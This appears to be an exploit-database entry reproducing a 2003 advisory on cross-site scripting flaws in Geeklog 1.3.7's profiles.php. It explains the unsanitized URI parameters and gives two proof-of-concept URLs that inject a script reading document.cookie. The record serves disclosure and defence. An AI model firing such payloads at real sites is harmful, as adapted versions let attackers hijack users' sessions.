Geeklog 1.3.7 - 'profiles.php' Multiple Cross-Site Scripting Vulnerabilities

Author: snooq
type: webapps
platform: php
port: 
date_added: 2003-01-14  
date_updated: 2012-10-22  
verified: 1  
codes: CVE-2003-1347;OSVDB-59443  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22163.txt  
source: https://www.securityfocus.com/bid/6601/info

The Geeklog 'profiles.php' script is prone to multiple cross-site scripting vulnerabilities.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com/profiles.php?uid=<script>alert(document.cookie)</script>

http://www.example.com//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>